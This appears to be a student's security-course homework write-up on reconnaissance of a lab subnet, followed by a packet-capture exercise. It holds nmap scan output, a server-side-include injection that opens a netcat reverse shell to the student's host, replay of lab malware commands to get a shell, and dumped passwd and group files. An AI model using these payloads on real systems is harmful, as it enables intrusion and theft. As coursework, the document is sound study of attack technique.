Problem 0 [35 points] - Network-based information gathering

a.

Using nmap I was able to identify what machines were part of the 10.241.130/24 cluster:

*nmap -sP 10.241.13.0/24*  
  
Starting Nmap 7.01 ( [https://nmap.org](https://nmap.org/) ) at 2016-10-08 13:30 EDT  
Nmap scan report for **10.241.13.1**  
Host is up (0.016s latency).  
Nmap scan report for **ece-ec521-016.bu.edu (10.241.13.16)**  
Host is up (0.017s latency).  
Nmap scan report for **ece-ec521-018.bu.edu (10.241.13.18)**  
Host is up (0.013s latency).  
Nmap scan report for **signals10net-01.bu.edu (10.241.13.21)**  
Host is up (0.014s latency).  
Nmap scan report for **signals10net-49.bu.edu (10.241.13.69)**  
Host is up (0.011s latency).  
Nmap scan report for **signals10net-50.bu.edu (10.241.13.70)**  
Host is up (0.011s latency).  
Nmap scan report for **signals10net-51.bu.edu (10.241.13.71)**  
Host is up (0.011s latency).  
Nmap scan report for **10.241.13.166**  
Host is up (0.019s latency).  
Nmap scan report for **10.241.13.167**  
Host is up (0.019s latency).  
Nmap scan report for **10.241.13.199**  
Host is up (0.0019s latency).  
Nmap scan report for **10.241.13.201**  
Host is up (0.021s latency).  
Nmap done: 256 IP addresses (**11 hosts up**) scanned in 4.53 seconds

\*\*The previous scan was conducted on Saturday afternoon giving different result than the following identical scan that was done on Wednesday night. They should be the same but there must have been changes to the enviroment subnet. The same scan results are below:

**Same as above but 10.241.13.199 was not found and the following we added:**

Nmap scan report for s**ignals10net-58.bu.edu (10.241.13.78)**  
Host is up (0.00081s latency).

b.

**\*\*Please look at note after 1st topogolgy for differences that occured in the network from Saturday afternoon to Wednesday. It seems as the the firewall was not set up probably showing what machines were reachable and ports that were open. Below contains and outlines both times and the changes. \*\***

I was able to find out how the machines in the subnet were arranged in relation to my machine. I was able to do this by running an intense nmap scan (*nmap -T4 -A -v 10.241.13.0/24*) using Zenmap, which gave me a great amount of information including open / filetered / unfiltered /closed ports, services running on those port, OS details, etc. As you can see below my machine is the local host with the subnet DHCP server being 10.241.13.1 for the subnet and the router from my computer to the rest of machines is 128.197.55.1. The DNS and DHCP details are below in Q#3. There were 2 hops from my machine to the other machines with all machines in the subnet being children of 128.197.55.1 except 10.241.13.1.

The previous scan was conducted on Saturday afternoon giving different result than the following identical scan that was done on Wednesday night. They should be the same but there must have been changes to the enviroment subnet. The same scan results are below (nmap -sS -sU -T4 -A -v 10.241.13.0/24):

c.

1. **machine hardware (processors: their number, speed, and type; memory: amount; peripherals and their driver versions):**
   1. **10.241.13.201:** Using the netcat XSS vulnerability in the 10.241.13.201/ssi page I was able to enter the command <!--#exec cmd="nc 128.197.52.153 1989 -e /bin/bash"--> and running to "nc -l 1989" on my machine to get a remote shell. I was able to run the following commands to obtain the hardware, version and user info.
      1. *uname -a*   
         Linux rfc1918 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u1 (2016-09-03) x86\_64 GNU/Linux  
         *cat /proc/version*  
         Linux version 3.16.0-4-amd64 ([debian-kernel@lists.debian.org](mailto:debian-kernel@lists.debian.org)) (gcc version 4.8.4 (Debian 4.8.4-1) ) #1 SMP Debian 3.16.36-1+deb8u1 (2016-09-03)  
         *cat /proc/meminfo*  
         MemTotal: 2058568 kB  
         MemFree: 1134900 kB  
         MemAvailable: 1463948 kB  
         Buffers: 90596 kB  
         Cached: 335080 kB  
         SwapCached: 0 kB  
         Active: 611132 kB  
         Inactive: 196952 kB  
         Active(anon): 383084 kB  
         Inactive(anon): 11616 kB  
         Active(file): 228048 kB  
         Inactive(file): 185336 kB  
         Unevictable: 0 kB  
         Mlocked: 0 kB  
         SwapTotal: 901116 kB  
         SwapFree: 901116 kB  
         Dirty: 32 kB  
         Writeback: 0 kB  
         AnonPages: 382408 kB  
         Mapped: 161404 kB  
         Shmem: 12292 kB  
         Slab: 75000 kB  
         SReclaimable: 56572 kB  
         SUnreclaim: 18428 kB  
         KernelStack: 4800 kB  
         PageTables: 21132 kB  
         NFS\_Unstable: 0 kB  
         Bounce: 0 kB  
         WritebackTmp: 0 kB  
         CommitLimit: 1930400 kB  
         Committed\_AS: 2533344 kB  
         VmallocTotal: 34359738367 kB  
         VmallocUsed: 6244 kB  
         VmallocChunk: 34359729396 kB  
         HardwareCorrupted: 0 kB  
         AnonHugePages: 0 kB  
         HugePages\_Total: 0  
         HugePages\_Free: 0  
         HugePages\_Rsvd: 0  
         HugePages\_Surp: 0  
         Hugepagesize: 2048 kB  
         DirectMap4k: 59384 kB  
         DirectMap2M: 2037760 kB  
         *cat /proc/cpuinfo*  
         processor : 0  
         vendor\_id : [GenuineIntel](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/GenuineIntel?topicparent=EC521studs.HomeworkTwoNicholasMusella)   
         cpu family : 6  
         model : 42  
         model name : Intel Xeon E312xx (Sandy Bridge)  
         stepping : 1  
         microcode : 0x1  
         cpu MHz : 3392.296  
         cache size : 4096 KB  
         physical id : 0  
         siblings : 1  
         core id : 0  
         cpu cores : 1  
         apicid : 0  
         initial apicid : 0  
         fpu : yes  
         fpu\_exception : yes  
         cpuid level : 13  
         wp : yes  
         flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx rdtscp lm constant\_tsc rep\_good nopl eagerfpu pni pclmulqdq ssse3 cx16 sse4\_1 sse4\_2 x2apic popcnt tsc\_deadline\_timer aes xsave avx hypervisor lahf\_lm xsaveopt  
         bogomips : 6784.59  
         clflush size : 64  
         cache\_alignment : 64  
         address sizes : 36 bits physical, 48 bits virtual  
         power management:  
           
         processor : 1  
         vendor\_id : [GenuineIntel](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/GenuineIntel?topicparent=EC521studs.HomeworkTwoNicholasMusella)   
         cpu family : 6  
         model : 42  
         model name : Intel Xeon E312xx (Sandy Bridge)  
         stepping : 1  
         microcode : 0x1  
         cpu MHz : 3392.296  
         cache size : 4096 KB  
         physical id : 1  
         siblings : 1  
         core id : 0  
         cpu cores : 1  
         apicid : 1  
         initial apicid : 1  
         fpu : yes  
         fpu\_exception : yes  
         cpuid level : 13  
         wp : yes  
         flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx rdtscp lm constant\_tsc rep\_good nopl eagerfpu pni pclmulqdq ssse3 cx16 sse4\_1 sse4\_2 x2apic popcnt tsc\_deadline\_timer aes xsave avx hypervisor lahf\_lm xsaveopt  
         bogomips : 6784.59  
         clflush size : 64  
         cache\_alignment : 64  
         address sizes : 36 bits physical, 48 bits virtual  
         power management:
   2. **10.241.13.16:**
      1. I was able to run the malware from lab 3 clientShort.class by downloading it and running it with "j*ava -cp /root/Desktop/ clientShort 10.241.13.16*". Once ran I was able to see the output of what it was receiving in terminal:
         1. "Howdy ...  
            A bit petulant, no?  
            Your wish ... is my command.
      2. Then I was able to run it again and view what port it was accessing through wireshark "port 10103" and seeing that is was sending the following commands by following the TCP communication:
         1. "HELLO
         2. PLEASE
         3. ACT
         4. /sbin/ifconfig.
      3. I was then able to open a netcat session and connect to the machine using "nc 10.241.13.16 10103" and then enter those commands and gain shell access.
      4. *uname -a*  
         Linux foobar 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u1 (2016-09-03) x86\_64 GNU/Linux
      5. *cat /proc/version*  
         Linux version 3.16.0-4-amd64 ([debian-kernel@lists.debian.org](mailto:debian-kernel@lists.debian.org)) (gcc version 4.8.4 (Debian 4.8.4-1) ) #1 SMP Debian 3.16.36-1+deb8u1 (2016-09-03)
      6. *cat /etc/resolv.conf*  
         # Generated by [NetworkManager](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/NetworkManager?topicparent=EC521studs.HomeworkTwoNicholasMusella)   
           
         hostname  
         foobar  
           
         dnsdomainname
      7. *cat /proc/meminfo*  
         MemTotal: 1024468 kB  
         MemFree: 168156 kB  
         MemAvailable: 620744 kB  
         Buffers: 117108 kB  
         Cached: 339348 kB  
         SwapCached: 0 kB  
         Active: 463412 kB  
         Inactive: 174888 kB  
         Active(anon): 182428 kB  
         Inactive(anon): 10268 kB  
         Active(file): 280984 kB  
         Inactive(file): 164620 kB  
         Unevictable: 32 kB  
         Mlocked: 32 kB  
         SwapTotal: 745992 kB  
         SwapFree: 745992 kB  
         Dirty: 4244 kB  
         Writeback: 1504 kB  
         AnonPages: 181908 kB  
         Mapped: 83348 kB  
         Shmem: 10856 kB  
         Slab: 189612 kB  
         SReclaimable: 175920 kB  
         SUnreclaim: 13692 kB  
         KernelStack: 2976 kB  
         PageTables: 14368 kB  
         NFS\_Unstable: 0 kB  
         Bounce: 0 kB  
         WritebackTmp: 0 kB  
         CommitLimit: 1258224 kB  
         Committed\_AS: 978456 kB  
         VmallocTotal: 34359738367 kB  
         VmallocUsed: 2380 kB  
         VmallocChunk: 34359735803 kB  
         HardwareCorrupted: 0 kB  
         AnonHugePages: 0 kB  
         HugePages\_Total: 0  
         HugePages\_Free: 0  
         HugePages\_Rsvd: 0  
         HugePages\_Surp: 0  
         Hugepagesize: 2048 kB  
         DirectMap4k: 55288 kB  
         DirectMap2M: 993280 kB
      8. t /proc/cpuinfo  
         processor : 0  
         vendor\_id : [AuthenticAMD](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/AuthenticAMD?topicparent=EC521studs.HomeworkTwoNicholasMusella)   
         cpu family : 6  
         model : 13  
         model name : QEMU Virtual CPU version 1.5.3  
         stepping : 3  
         cpu MHz : 3392.428  
         cache size : 512 KB  
         physical id : 0  
         siblings : 1  
         core id : 0  
         cpu cores : 1  
         apicid : 0  
         initial apicid : 0  
         fpu : yes  
         fpu\_exception : yes  
         cpuid level : 4  
         wp : yes  
         flags : fpu pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm nopl pni cx16 hypervisor lahf\_lm svm abm sse4a vmmcall  
         bogomips : 6784.85  
         TLB size : 1024 4K pages  
         clflush size : 64  
         cache\_alignment : 64  
         address sizes : 40 bits physical, 48 bits virtual  
         power management:
      9. *cat /etc/networks*  
         default 0.0.0.0  
         loopback 127.0.0.0  
         link-local 169.254.0.0
2. I**P address, DNS server (with technical contact), DHCP server:**
   1. **nmap -sU --script=dhcp-discover 10.241.13.1**  
        
      Starting Nmap 7.01 ( [https://nmap.org](https://nmap.org/) ) at 2016-10-12 13:39 EDT  
      Nmap scan report for 10.241.13.1  
      Host is up (0.0029s latency).  
      Not shown: 998 open|filtered ports  
      PORT STATE SERVICE  
      67/udp open dhcps  
      | dhcp-discover:   
      | DHCP Message Type: DHCPACK  
      | Server Identifier: 128.197.253.184  
      | Subnet Mask: 255.255.255.0  
      | **Domain Name Server**: 128.197.253.183, 128.197.253.120, 128.197.253.254  
      | **Domain Name**: bu.edu  
      | [NetBIOS](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/NetBIOS?topicparent=EC521studs.HomeworkTwoNicholasMusella) Name Server: 128.197.253.30, 128.197.253.31  
      |\_ [NetBIOS](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/NetBIOS?topicparent=EC521studs.HomeworkTwoNicholasMusella) Node Type: 8  
      161/udp open snmp
   2. **nmap -v -sV --version-all -p 53 128.197.253.183**  
        
      Nmap scan report for 128.197.253.183  
      Host is up (0.00073s latency).  
      *PORT STATE SERVICE VERSION*  
      *53/tcp open domain ISC BIND 9.9.8-P4*  
        
      **nmap -v -sV --version-all -p 53 128.197.253.120**  
        
      Nmap scan report for 128.197.253.120  
      Host is up (0.00063s latency).  
      *PORT STATE SERVICE VERSION*  
      *53/tcp open domain ISC BIND 9.9.8-P4*  
        
      **nmap -v -sV --version-all -p 53 128.197.253.254**  
        
      Nmap scan report for 128.197.253.254  
      Host is up (0.00044s latency).  
      *PORT STATE SERVICE VERSION*  
      *53/tcp open domain ISC BIND 9.9.9-P3*
3. **open ports and services (e.g. web service, ftp service, ...), including: (whether they’re TCP or UDP / versions of their servers):**
   1. **Nmap scan report for comm635-0202net-gw01.bu.edu (10.241.0.1)**  
      Host is up (0.0020s latency).  
      Not shown: 999 open|filtered ports  
      PORT STATE SERVICE  
      161/udp open snmp  
      67/udp open dhcps
   2. **Nmap scan report for ece-ec521-016.bu.edu (10.241.13.16)**  
      Host is up (0.0011s latency).  
      Not shown: 999 closed ports  
      PORT STATE SERVICE VERSION  
      22/tcp open ssh lshd secure shell 2.1 (protocol 2.0)
   3. **Nmap scan report for signals10net-01.bu.edu (10.241.13.21)**  
      Host is up (0.0011s latency).  
      Not shown: 993 closed ports  
      PORT STATE SERVICE VERSION  
      21/tcp open ftp vsftpd 3.0.2  
      25/tcp open smtp Postfix smtpd  
      80/tcp open http Apache httpd 2.4.7 ((Ubuntu))  
      139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MARY008-0302-DHCP-110)  
      445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MARY008-0302-DHCP-110)  
      3128/tcp open http-proxy Squid http proxy 3.3.8  
      6667/tcp open irc IRCnet ircd  
      Service Info: Hosts: mary008-0302-dhcp-110.bu.edu, irc.localhost; OS: Unix
   4. **Nmap scan report for signals10net-49.bu.edu (10.241.13.69)**  
      Host is up (0.00095s latency).  
      Not shown: 845 closed ports, 153 filtered ports  
      PORT STATE SERVICE VERSION  
      22/tcp open ssh [OpenSSH](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/OpenSSH?topicparent=EC521studs.HomeworkTwoNicholasMusella) 5.3 (protocol 1.99)  
      8649/tcp open ganglia Ganglia XML Grid monitor 3.7.2 (Cluster name: ece-signals; Owner: unspecified; Source: gmond)
   5. **Nmap scan report for signals10net-50.bu.edu (10.241.13.70)**  
      Host is up (0.0010s latency).  
      Not shown: 845 closed ports, 153 filtered ports  
      PORT STATE SERVICE VERSION  
      22/tcp open ssh [OpenSSH](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/OpenSSH?topicparent=EC521studs.HomeworkTwoNicholasMusella) 5.3 (protocol 1.99)  
      8649/tcp open ganglia Ganglia XML Grid monitor
   6. **Nmap scan report for signals10net-51.bu.edu (10.241.13.71)**  
      Host is up (0.00099s latency).  
      Not shown: 845 closed ports, 153 filtered ports  
      PORT STATE SERVICE VERSION  
      22/tcp open ssh [OpenSSH](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/OpenSSH?topicparent=EC521studs.HomeworkTwoNicholasMusella) 5.3 (protocol 1.99)  
      8649/tcp open ganglia Ganglia XML Grid monitor 3.7.2 (Cluster name: ece-signals; Owner: unspecified; Source: gmond)
   7. **Nmap scan report for 10.241.13.166**  
      Host is up (0.00097s latency).  
      Not shown: 997 closed ports  
      PORT STATE SERVICE VERSION  
      22/tcp open ssh [OpenSSH](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/OpenSSH?topicparent=EC521studs.HomeworkTwoNicholasMusella) 6.7p1 Debian 5+deb8u3 (protocol 2.0)  
      80/tcp open http Apache httpd 2.4.10 ((Debian))  
      111/tcp open rpcbind 2-4 (RPC #100000)  
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel
   8. **Nmap scan report for 10.241.13.167**  
      Host is up (0.00096s latency).  
      Not shown: 983 closed ports  
      PORT STATE SERVICE VERSION  
      7/tcp open echo  
      9/tcp open discard?  
      13/tcp open daytime Microsoft Windows USA daytime  
      17/tcp open qotd Windows qotd (English)  
      19/tcp open chargen  
      80/tcp open http Microsoft IIS httpd 7.5  
      135/tcp open msrpc Microsoft Windows RPC  
      139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn  
      445/tcp open microsoft-ds Microsoft Windows 10 microsoft-ds  
      3389/tcp open ssl/ms-wbt-server?  
      5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)  
      49152/tcp open msrpc Microsoft Windows RPC  
      49153/tcp open msrpc Microsoft Windows RPC  
      49154/tcp open msrpc Microsoft Windows RPC  
      49155/tcp open msrpc Microsoft Windows RPC  
      49156/tcp open msrpc Microsoft Windows RPC  
      49161/tcp open msrpc Microsoft Windows RPC  
      Service Info: OSs: Windows, Windows 98, Windows 10; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows\_98, cpe:/o:microsoft:windows\_10
   9. **Nmap scan report for 10.241.13.199**  
      Host is up (0.00089s latency).  
      Not shown: 997 closed ports  
      PORT STATE SERVICE VERSION  
      22/tcp open ssh [OpenSSH](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/OpenSSH?topicparent=EC521studs.HomeworkTwoNicholasMusella) 6.7p1 Debian 5+deb8u3 (protocol 2.0)  
      80/tcp open http Apache httpd 2.4.10 ((Debian))  
      111/tcp open rpcbind 2-4 (RPC #100000)  
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel
   10. **Nmap scan report for 10.241.13.201**  
       Host is up (0.00098s latency).  
       Not shown: 997 closed ports  
       PORT STATE SERVICE VERSION  
       22/tcp open ssh [OpenSSH](https://algorithmics.bu.edu/fw/bin/edit/EC521studs/OpenSSH?topicparent=EC521studs.HomeworkTwoNicholasMusella) 6.7p1 Debian 5+deb8u3 (protocol 2.0)  
       80/tcp open http Apache httpd 2.4.10 ((Debian))  
       111/tcp open rpcbind 2-4 (RPC #100000)  
       Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel
4. **users on the system, including:**
   1. **10.241.13.201:**
      1. getent group  
         root:x:0:  
         daemon:x:1:  
         bin:x:2:  
         sys:x:3:  
         adm:x:4:  
         tty:x:5:  
         disk:x:6:  
         lp:x:7:  
         mail:x:8:  
         news:x:9:  
         uucp:x:10:  
         man:x:12:  
         proxy:x:13:  
         kmem:x:15:  
         dialout:x:20:  
         fax:x:21:  
         voice:x:22:  
         cdrom:x:24:hacker  
         floppy:x:25:hacker  
         tape:x:26:  
         sudo:x:27:  
         audio:x:29:pulse,hacker  
         dip:x:30:hacker  
         www-data:x:33:  
         backup:x:34:  
         operator:x:37:  
         list:x:38:  
         irc:x:39:  
         src:x:40:  
         gnats:x:41:  
         shadow:x:42:  
         utmp:x:43:  
         video:x:44:hacker  
         sasl:x:45:  
         plugdev:x:46:hacker  
         staff:x:50:  
         games:x:60:  
         users:x:100:  
         nogroup:x:65534:  
         input:x:101:  
         systemd-journal:x:102:  
         systemd-timesync:x:103:  
         systemd-network:x:104:  
         systemd-resolve:x:105:  
         systemd-bus-proxy:x:106:  
         crontab:x:107:  
         netdev:x:108:hacker  
         messagebus:x:109:  
         avahi:x:110:  
         scanner:x:111:saned,hacker  
         Debian-exim:x:112:  
         mlocate:x:113:  
         ssh:x:114:  
         bluetooth:x:115:hacker  
         colord:x:116:  
         geoclue:x:117:  
         utempter:x:118:  
         pulse:x:119:  
         pulse-access:x:120:  
         rtkit:x:121:  
         saned:x:122:  
         ssl-cert:x:123:  
         Debian-gdm:x:124:  
         hacker:x:1000:  
         mysql:x:125:
      2. *cat /etc/passwd*  
         root:x:0:0:root:/root:/bin/bash -S  
         daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
         bin:x:2:2:bin:/bin:/usr/sbin/nologin  
         sys:x:3:3:sys:/dev:/usr/sbin/nologin  
         sync:x:4:65534:sync:/bin:/bin/sync  
         games:x:5:60:games:/usr/games:/usr/sbin/nologin  
         man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
         lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
         mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
         news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
         uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
         proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
         www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
         backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
         list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
         irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
         gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
         nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
         systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false  
         systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false  
         systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false  
         systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false  
         messagebus:x:104:109::/var/run/dbus:/bin/false  
         avahi:x:105:110:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false  
         Debian-exim:x:106:112::/var/spool/exim4:/bin/false  
         statd:x:107:65534::/var/lib/nfs:/bin/false  
         colord:x:108:116:colord colour management daemon,,,:/var/lib/colord:/bin/false  
         dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false  
         geoclue:x:110:117::/var/lib/geoclue:/bin/false  
         pulse:x:111:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false  
         speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh  
         sshd:x:113:65534::/var/run/sshd:/usr/sbin/nologin  
         rtkit:x:114:121:RealtimeKit,,,:/proc:/bin/false  
         saned:x:115:122::/var/lib/saned:/bin/false  
         usbmux:x:116:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false  
         Debian-gdm:x:117:124:Gnome Display Manager:/var/lib/gdm3:/bin/false  
         hacker:x:1000:1000:hacker,,,:/home/hacker:/bin/bash  
         mysql:x:118:125:MySQL Server,,,:/nonexistent:/bin/false
   2. **10.241.13.16**:
      1. *cat /etc/passwd*  
         root:x:0:0:root:/root:/bin/

tcsh  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false  
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false  
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false  
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false  
messagebus:x:104:111::/var/run/dbus:/bin/false  
avahi:x:105:112:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false  
ntp:x:106:114::/home/ntp:/bin/false  
uuidd:x:107:115::/run/uuidd:/bin/false  
Debian-exim:x:108:116::/var/spool/exim4:/bin/false  
avahi-autoipd:x:109:118:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false  
colord:x:110:120:colord colour management daemon,,,:/var/lib/colord:/bin/false  
dnsmasq:x:111:65534:dnsmasq,,,:/var/lib/misc:/bin/false  
geoclue:x:112:121::/var/lib/geoclue:/bin/false  
saned:x:113:124::/var/lib/saned:/bin/false  
usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false  
davfs2:x:115:125::/var/cache/davfs2:/bin/false  
lightdm:x:116:126:Light Display Manager:/var/lib/lightdm:/bin/false  
hplip:x:117:7:HPLIP system user,,,:/var/run/hplip:/bin/false  
hacker:x:1000:1000:Yes:/home/hacker:/bin/bash  
clown:x:1001:1001:,,,:/home/clown:/bin/bash  
bob:x:1002:1002:,,,:/home/bob:/bin/bash

* + 1. "getent group": root:x:0: daemon:x:1: bin:x:2: sys:x:3: adm:x:4: tty:x:5: disk:x:6: lp:x:7: mail:x:8:<news:x:9>: uucp:x:10: man:x:12: proxy:x:13: kmem:x:15: dialout:x:20: fax:x:21: voice:x:22: cdrom:x:24:hacker floppy:x:25:hacker tape:x:26: sudo:x:27:hacker audio:x:29:hacker dip:x:30:hacker www-data:x:33: backup:x:34: operator:x:37: list:x:38:: src:x:40: gnats:x:41: shadow:x:42: utmp:x:43: video:x:44:hacker sasl:x:45: plugdev:x:46:hacker staff:x:50: games:x:60: users:x:100: nogroup:x:65534: input:x:101: systemd-journal:x:102: systemd-timesync:x:103: systemd-network:x:104: systemd-resolve:x:105: systemd-bus-proxy:x:106: crontab:x:107: netdev:x:108:hacker ssl-cert:x:109: lpadmin:x:110: messagebus:x:111: avahi:x:112: scanner:x:113:saned,hacker ntp:x:114: uuidd:x:115: Debian-exim:x:116: ssh:x:117: avahi-autoipd:x:118: bluetooth:x:119:hacker colord:x:120: geoclue:x:121: utempter:x:122: saned:x:124: davfs2:x:125: lightdm:x:126: hacker:x:1000: clown:x:1001: bob:x:1002:
    2. w  
       17:38:40 up 5 days, 6:19, 3 users, load average: 0.92, 0.30, 0.14  
       USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT  
       hacker :0 :0 Sun11 ?xdm? 30:24 0.25s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc  
       hacker pts/0 :0.0 Thu17 2:24m 0.89s 21.40s /usr/bin/xfce4-terminal  
       hacker pts/1 :0.0 Sun11 2days 2.83s 0.10s w
    3. hacker : hacker cdrom floppy sudo audio dip video plugdev netdev scanner bluetooth

1. **The contents of all files named =INTERESTING.txt:=**
   1. **http://10.241.13.167**
      1. Note to self: I like knocking ports 700x, 800y, and 900z (for digits x,y, and
   2. **10.241.13.201:**
      1. /INTERESTING.txt => "more in data folder"
      2. /data/INTERESTING.txt => "more iin parent folder"
      3. When running "find / -iname "\*parent\*"" command to look for a file or folder with parent in the name I found: /usr/share/perl/5.20.2/parent.pm which stated "All your base are belong to us" which could be making a reference.
         1. *cat parent.pm*  
            *package parent;*  
            *use strict;*  
            *use vars qw($VERSION);*  
            *$VERSION = '0.228';*  
            *sub import {*  
            *my $class = shift;*  
              
            *my $inheritor = caller(0);*  
              
            *if ( @\_ and $\_[0] eq '-norequire' ) {*  
            *shift @\_;*  
            *} else {*  
            *for ( my @filename = @\_ ) {*  
            *if ( $\_ eq $inheritor ) {*  
            *warn "Class '$inheritor' tried to inherit from itself\n";*  
            *};*  
              
            *s{::|'}{/}g;*  
            *require "$\_.pm"; # dies if the file is not found*  
            *}*  
            *}*  
              
            *{*  
            *no strict 'refs';*  
            *push @{"$inheritor\::ISA"}, @\_;*  
            *};*  
            *};*  
            ***"All your base are belong to us"***  
            *---------------------------------------------------*
   3. **10.241.13.16:**
      1. I was able to run the malware from lab 3 clientShort.class by downloading it and running it with "j*ava -cp /root/Desktop/ clientShort 10.241.13.16*". Once ran I was able to see the output of what it was receiving in terminal:
         1. "Howdy ...  
            A bit petulant, no?  
            Your wish ... is my command.
      2. Then I was able to run it again and view what port it was accessing through wireshark "port 10103" and seeing that is was sending the following commands by following the TCP communication:
         1. "HELLO
         2. PLEASE
         3. ACT
         4. /sbin/ifconfig.
      3. I was then able to open a netcat session and connect to the machine using "nc 10.241.13.16 10103" and then enter those commands and gain shell access. Finding the following 4 INTERESTING.txt files
         1. find / -iname "\*INTERESTING\*"   
            /home/hacker/Documents/INTERESTING.txt => I am interesting.  
            /home/hacker/INTERESTING.txt => I am interesting!  
            /etc/INTERESTING.txt => I am also interesting!  
            /var/tmp/INTERESTING.txt => **892083jkkss00a-**

Problem 0 grade: (**GRADER ONLY**)

Comments:

Problem 1 [30 points] - Packet capture

1a - The host

1. **What is the IP address of H?**
   1. The IP address of H is 10.211.55.16 (ie: ip-10-211-55-16.ec2.internal)
   2. I was able to determine this by viewing the packets / traffic sniffed and identifying the activity was based around this IP address, including it's initial request for lease from the DHCP server 10.211.55.1
2. **How long was the IP address leased from the DHCP server?**
   1. 1800s (seconds) or 30 minutes
   2. I was able to determine this by identifying H's initial request to lease the IP address from the DHCP server in the 3rd event. I was then able to follow the communication between H and DHCP server for it's offer and its acknowledgement (DHCP ACK) of the release of the IP. Viewing event #11 (DCHP ACK) and drilling down into the communication information in the Bootstrap Protocol (ACK) info and viewing the IP Address Lease Time.
3. **What is the router address used by H?**
   1. 10.211.55.1
   2. I was able to determine this by analyzing the above #11 event and viewing once again the Bootstrap Protocol info. Under the Options info is listed the Router for the lease (whcih also happens to be the DHCP server and DNS server in this case).
4. **At what date and time was this trace started?**
   1. By viewing the statistics for the capture and the first packet caught the time and date is below:
   2. 2012-09-24 09:49:42

1b -Wiki

The person using H attempted to log on to a [TWiki](http://twiki.org/).

1. **What is the IP address of the TWiki server?**
   1. 128.197.185.27
   2. This was obtained by viewing the POST and GET requests to and from the twiki site and to verify by viewing the DNS requests to twiki alogrithmics site.
2. **What username does the person attempt to use to log in?**
   1. Ec521
   2. This was identified by looking for HTTP POST requests to login and following the HTTP connections.
3. **How many different passwords does the person attempt to use, and what are they?**
   1. 2: "What is my password again" and "Is it this maybe"
   2. Identified by viewing the packets and connection flow of the login attempts.
4. **Does the person successfully log into the TWiki?**
   1. After getting an error message "Oops: we could not recognize you. Try again or Reset you password" the user was not able to log into the Twiki site and started running scans.
